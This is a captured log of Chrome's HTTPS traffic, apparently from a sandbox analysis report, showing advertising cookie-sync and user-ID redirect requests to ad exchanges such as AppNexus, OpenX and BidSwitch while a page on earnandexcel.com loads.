331	192.168.2.17	50117	35.244.193.51	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	556	OUT	GET /v1/envelope?pid=0014000000xvEfwAAE&gdpr=0&src=pbjs&ver=8.31.0&coppa=0&us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid= HTTP/1.1 Host: lexicon.33across.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
2024-04-11 21:27:01 UTC	257	IN	HTTP/1.1 200 OK cache-control: private, must-revalidate, max-age=28800 content-type: application/json Content-Length: 42 via: 1.1 google date: Thu, 11 Apr 2024 21:27:01 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:01 UTC	42	IN	Data Raw: 7b 22 73 75 63 63 65 65 64 65 64 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 22 3a 22 43 6f 6f 6b 69 65 64 20 55 73 65 72 22 7d Data Ascii: {"succeeded":false,"error":"Cookied User"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.17	50142	44.199.126.93	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	628	OUT	GET /sync/openx/9493e0a4-dabc-aeeb-7162-a5901646ee80?gdpr=0 HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:01 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBKVVGGYCEHOBxTT3u2GKaqwxPBS4iIEFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAjdlRRX5EwsWHNUIS9wFfpU; Expires=Sat, 12 Apr 2025 03:27:01 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-04-11 21:27:01 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.17	50158	142.250.80.2	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	861	OUT	GET /static/topics/topics_frame.html HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-04-11 21:27:01 UTC	709	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-gpt-scs" Report-To: {"group":"ads-gpt-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-gpt-scs"}]} Content-Length: 104537 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 11 Apr 2024 21:10:43 GMT Expires: Thu, 11 Apr 2024 22:00:43 GMT Cache-Control: public, max-age=3000, stale-while-revalidate=3600 Age: 978 Last-Modified: Mon, 08 Apr 2024 19:43:52 GMT Content-Type: text/html Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:01 UTC	546	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 6f 70 69 63 73 20 46 72 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 0a 20 20 20 20 20 20 68 74 74 70 2d 65 71 75 69 76 3d 22 6f 72 69 67 69 6e 2d 74 72 69 61 6c 22 0a 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 41 76 68 35 4e 79 30 58 45 46 43 79 51 37 2b 6f 4e 69 65 58 73 6b 55 72 71 59 38 65 64 55 7a 4c 35 2f 58 72 77 4b 6c 47 6a 41 52 51 48 57 34 54 46 52 4b 2b 6a 56 64 35 48 6e 44 49 70 59 32 30 6e 35 4f 4c 48 66 67 55 34 6b 75 37 78 34 38 4e 33 75 68 47 2f 41 30 41 41 41 42 78 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f Data Ascii: <!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <title>Topics Frame</title> <meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iO
2024-04-11 21:27:01 UTC	1255	IN	Data Raw: 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 2c 63 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 2c 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 Data Ascii: turn b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},da=function(a){a=["object"==typeof globalThis
2024-04-11 21:27:01 UTC	1255	IN	Data Raw: 6d 62 6f 6c 5f 22 2b 28 31 45 39 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3e 3e 3e 30 29 2b 22 5f 22 2c 64 3d 30 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 79 6d 62 6f 6c 20 69 73 20 6e 6f 74 20 61 20 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 28 63 2b 28 67 7c 7c 22 22 29 2b 22 5f 22 2b 64 2b 2b 2c 67 29 7d 3b 72 65 74 75 72 6e 20 65 7d 2c 22 65 73 36 22 29 3b 77 28 22 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 29 72 65 74 75 72 6e 20 61 3b 61 3d 28 30 2c 71 2e 53 79 6d 62 6f 6c 29 28 22 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 22 Data Ascii: mbol_"+(1E9*Math.random()>>>0)+"_",d=0,e=function(g){if(this instanceof e)throw new TypeError("Symbol is not a constructor");return new b(c+(g\|\|"")+"_"+d++,g)};return e},"es6");w("Symbol.iterator",function(a){if(a)return a;a=(0,q.Symbol)("Symbol.iterator"
2024-04-11 21:27:01 UTC	1255	IN	Data Raw: 5d 3b 69 66 28 64 29 66 6f 72 28 76 61 72 20 65 20 69 6e 20 64 29 6c 61 28 64 2c 65 29 26 26 28 61 5b 65 5d 3d 64 5b 65 5d 29 7d 72 65 74 75 72 6e 20 61 7d 3b 77 28 22 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7c 7c 6d 61 7d 2c 22 65 73 36 22 29 3b 76 61 72 20 6e 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 6f 61 3b 69 66 28 66 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 76 28 4f 62 6a 65 63 74 2c Data Ascii: ];if(d)for(var e in d)la(d,e)&&(a[e]=d[e])}return a};w("Object.assign",function(a){return a\|\|ma},"es6");var na="function"==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b},oa;if(fa&&"function"==typeof v(Object,
2024-04-11 21:27:01 UTC	1255	IN	Data Raw: 3b 76 61 72 20 63 3d 61 2e 67 2e 69 3b 69 66 28 63 29 72 65 74 75 72 6e 20 7a 61 28 61 2c 22 72 65 74 75 72 6e 22 69 6e 20 63 3f 63 5b 22 72 65 74 75 72 6e 22 5d 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 7b 76 61 6c 75 65 3a 64 2c 64 6f 6e 65 3a 21 30 7d 7d 2c 62 2c 61 2e 67 2e 72 65 74 75 72 6e 29 3b 61 2e 67 2e 72 65 74 75 72 6e 28 62 29 3b 72 65 74 75 72 6e 20 41 61 28 61 29 7d 2c 7a 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 74 72 79 7b 76 61 72 20 65 3d 62 2e 63 61 6c 6c 28 61 2e 67 2e 69 2c 63 29 3b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 4f 62 6a 65 63 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 74 65 72 61 74 6f 72 20 72 65 73 75 6c 74 20 22 2b 65 2b 22 20 69 73 20 6e 6f Data Ascii: ;var c=a.g.i;if(c)return za(a,"return"in c?c["return"]:function(d){return{value:d,done:!0}},b,a.g.return);a.g.return(b);return Aa(a)},za=function(a,b,c,d){try{var e=b.call(a.g.i,c);if(!(e instanceof Object))throw new TypeError("Iterator result "+e+" is no
2024-04-11 21:27:01 UTC	1255	IN	Data Raw: 5b 63 2d 61 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 63 5d 3b 72 65 74 75 72 6e 20 62 7d 3b 77 28 22 52 65 66 6c 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 73 61 3f 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 73 61 28 62 2c 63 29 2c 21 30 7d 63 61 74 63 68 28 64 29 7b 72 65 74 75 72 6e 21 31 7d 7d 3a 6e 75 6c 6c 7d 2c 22 65 73 36 22 29 3b 77 28 22 50 72 6f 6d 69 73 65 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 74 68 69 73 2e 67 3d 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 63 28 66 29 7b 72 65 74 75 72 6e 20 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 3f 66 3a 6e 65 77 20 65 28 66 75 6e 63 74 69 6f 6e 28 68 29 Data Ascii: [c-a]=arguments[c];return b};w("Reflect.setPrototypeOf",function(a){return a?a:sa?function(b,c){try{return sa(b,c),!0}catch(d){return!1}}:null},"es6");w("Promise",function(a){function b(){this.g=null}function c(f){return f instanceof e?f:new e(function(h)
2024-04-11 21:27:01 UTC	1255	IN	Data Raw: 73 28 6b 29 3b 72 65 74 75 72 6e 7d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 68 3f 74 68 69 73 2e 79 61 28 68 2c 66 29 3a 74 68 69 73 2e 46 28 66 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 74 68 69 73 2e 57 28 32 2c 66 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 46 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 74 68 69 73 2e 57 28 31 2c 66 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 57 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 29 7b 69 66 28 30 21 3d 74 68 69 73 2e 68 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 73 65 74 74 6c 65 28 22 2b 66 2b 22 2c 20 22 2b 68 2b 22 29 3a 20 50 72 6f 6d 69 73 65 20 61 6c 72 65 61 64 79 20 73 65 74 74 6c 65 64 20 69 6e 20 73 74 61 74 65 22 2b 74 68 69 Data Ascii: s(k);return}"function"==typeof h?this.ya(h,f):this.F(f)};e.prototype.s=function(f){this.W(2,f)};e.prototype.F=function(f){this.W(1,f)};e.prototype.W=function(f,h){if(0!=this.h)throw Error("Cannot settle("+f+", "+h+"): Promise already settled in state"+thi
2024-04-11 21:27:01 UTC	1255	IN	Data Raw: 6f 6e 28 72 2c 74 29 7b 6c 3d 72 3b 6e 3d 74 7d 29 3b 74 68 69 73 2e 5a 28 6b 28 66 2c 6c 29 2c 6b 28 68 2c 6e 29 29 3b 72 65 74 75 72 6e 20 70 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 74 63 68 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 76 6f 69 64 20 30 2c 66 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 29 7b 66 75 6e 63 74 69 6f 6e 20 6b 28 29 7b 73 77 69 74 63 68 28 6c 2e 68 29 7b 63 61 73 65 20 31 3a 66 28 6c 2e 69 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 68 28 6c 2e 69 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 68 72 6f 77 20 45 72 72 6f 72 28 22 55 6e 65 78 70 65 63 74 65 64 20 73 74 61 74 65 3a 20 22 2b 6c 2e 68 29 3b 7d 7d 76 61 72 20 6c 3d Data Ascii: on(r,t){l=r;n=t});this.Z(k(f,l),k(h,n));return p};e.prototype.catch=function(f){return this.then(void 0,f)};e.prototype.Z=function(f,h){function k(){switch(l.h){case 1:f(l.i);break;case 2:h(l.i);break;default:throw Error("Unexpected state: "+l.h);}}var l=
2024-04-11 21:27:01 UTC	1255	IN	Data Raw: 3d 66 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 68 3d 68 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 68 5b 30 5d 2c 68 5b 31 5d 29 7d 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 29 7b 69 66 28 21 63 28 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 57 65 61 6b 4d 61 70 20 6b 65 79 22 29 3b 69 66 28 21 6c 61 28 66 2c 64 29 29 7b 76 61 72 20 6b 3d 6e 65 77 20 62 3b 63 61 28 66 2c 64 2c 7b 76 61 6c 75 65 3a 6b 7d 29 7d 69 66 28 21 6c 61 28 66 2c 64 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 57 65 61 6b 4d 61 70 20 6b 65 79 20 66 61 69 6c 3a 20 22 2b 66 29 3b 66 5b 64 5d 5b 74 68 69 73 2e 67 5d 3d 68 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 67 Data Ascii: =f.next()).done;)h=h.value,this.set(h[0],h[1])}};g.prototype.set=function(f,h){if(!c(f))throw Error("Invalid WeakMap key");if(!la(f,d)){var k=new b;ca(f,d,{value:k})}if(!la(f,d))throw Error("WeakMap key fail: "+f);f[d][this.g]=h;return this};g.prototype.g
2024-04-11 21:27:01 UTC	1255	IN	Data Raw: 73 74 2e 70 75 73 68 28 6c 2e 41 29 2c 74 68 69 73 5b 31 5d 2e 48 2e 6e 65 78 74 3d 6c 2e 41 2c 74 68 69 73 5b 31 5d 2e 48 3d 6c 2e 41 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 68 3d 64 28 74 68 69 73 2c 68 29 3b 72 65 74 75 72 6e 20 68 2e 41 26 26 68 2e 6c 69 73 74 3f 28 68 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 68 2e 69 6e 64 65 78 2c 31 29 2c 68 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 68 2e 69 64 5d 2c 68 2e 41 2e 48 2e 6e 65 78 74 3d 68 2e 41 2e 6e 65 78 74 2c 68 2e 41 2e 6e 65 78 74 2e 48 3d 68 2e 41 2e 48 2c 68 2e 41 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a Data Ascii: st.push(l.A),this[1].H.next=l.A,this[1].H=l.A,this.size++);return this};c.prototype.delete=function(h){h=d(this,h);return h.A&&h.list?(h.list.splice(h.index,1),h.list.length\|\|delete this[0][h.id],h.A.H.next=h.A.next,h.A.next.H=h.A.H,h.A.head=null,this.siz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.17	50155	68.67.161.208	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	914	OUT	GET /getuid?https://exchange.mediavine.com/usersync/redirect?partner=appnexus&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=$UID HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=M7R6vlCYsTbqpY9KrEX_pVqVX8T7y1DfK3tcAOOuFEFaL21T83bE11eRfruylz2jTUPUrcleGgzqu0prEjwLNpW-ZOUdHMy-ZB9aw3Bi5IE.; receive-cookie-deprecation=1; uuid2=3393848220146687847
2024-04-11 21:27:01 UTC	1528	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://exchange.mediavine.com/usersync/redirect?partner=appnexus&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=3393848220146687847 AN-X-Request-Uuid: fb5cb3b8-5da7-457a-a60f-3a91273d169e Set-Cookie: XANDR_PANID=M7R6vlCYsTbqpY9KrEX_pVqVX8T7y1DfK3tcAOOuFEFaL21T83bE11eRfruylz2jTUPUrcleGgzqu0prEjwLNpW-ZOUdHMy-ZB9aw3Bi5IE.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:01 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 30-Mar-2034 21:27:01 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3393848220146687847; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:01 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 156.146.36.197; 156.146.36.197; 806.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.17	50133	54.147.229.205	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	716	OUT	GET /cookie-sync/pm?gdpr=0&gdpr_consent= HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:01 UTC	388	IN	HTTP/1.1 303 See Other Date: Thu, 11 Apr 2024 21:27:01 GMT location: https://match.prod.bidr.io/cookie-sync/pm?gdpr=0&gdpr_consent=&_bee_ppp=1 Server: gunicorn set-cookie: checkForPermission=ok; Domain=bidr.io; expires=Thu, 11 Apr 2024 21:37:01 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.17	50139	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	765	OUT	GET /ul_cb/sync?ssp=gumgum2&user_id=u_a4cb566c-d29c-481c-82f5-d657255d141b&gdpr=&gdpr_consent=&us_privacy=1--- HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870820
2024-04-11 21:27:01 UTC	620	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //dsp.nrich.ai/bidswitch/sync?bidswitch_ssp_id=gumgum2&bsw_custom_parameter=4a756380-b7e0-40d8-87fd-f9b0074cc705&gdpr=&gdpr_consent=&gdpr_pd=&us_privacy=1--- Set-Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; path=/; expires=Fri, 11-Apr-2025 21:27:01 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: tuuid_lu=1712870821; path=/; expires=Fri, 11-Apr-2025 21:27:01 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.17	50140	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	787	OUT	GET /w/1.0/cm?id=e508c905-ddce-4732-92a4-0b0f5b72a28f&r=https%3A%2F%2Fid.rlcdn.com%2F464246.gif%3Fpartner_uid%3D%7BOPENX_ID%7D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=d3f8b9b9-e397-0355-1a63-7b8d8d361034\|1712870819; pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK
2024-04-11 21:27:01 UTC	555	IN	HTTP/1.1 302 Found Vary: Accept, Accept-Encoding Set-Cookie: i=d3f8b9b9-e397-0355-1a63-7b8d8d361034\|1712870819; Version=1; Expires=Fri, 11-Apr-2025 21:27:01 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://id.rlcdn.com/464246.gif?partner_uid=5592f986-8757-0ac2-1fcc-3396d08a4211 Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.17	50181	44.199.126.93	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
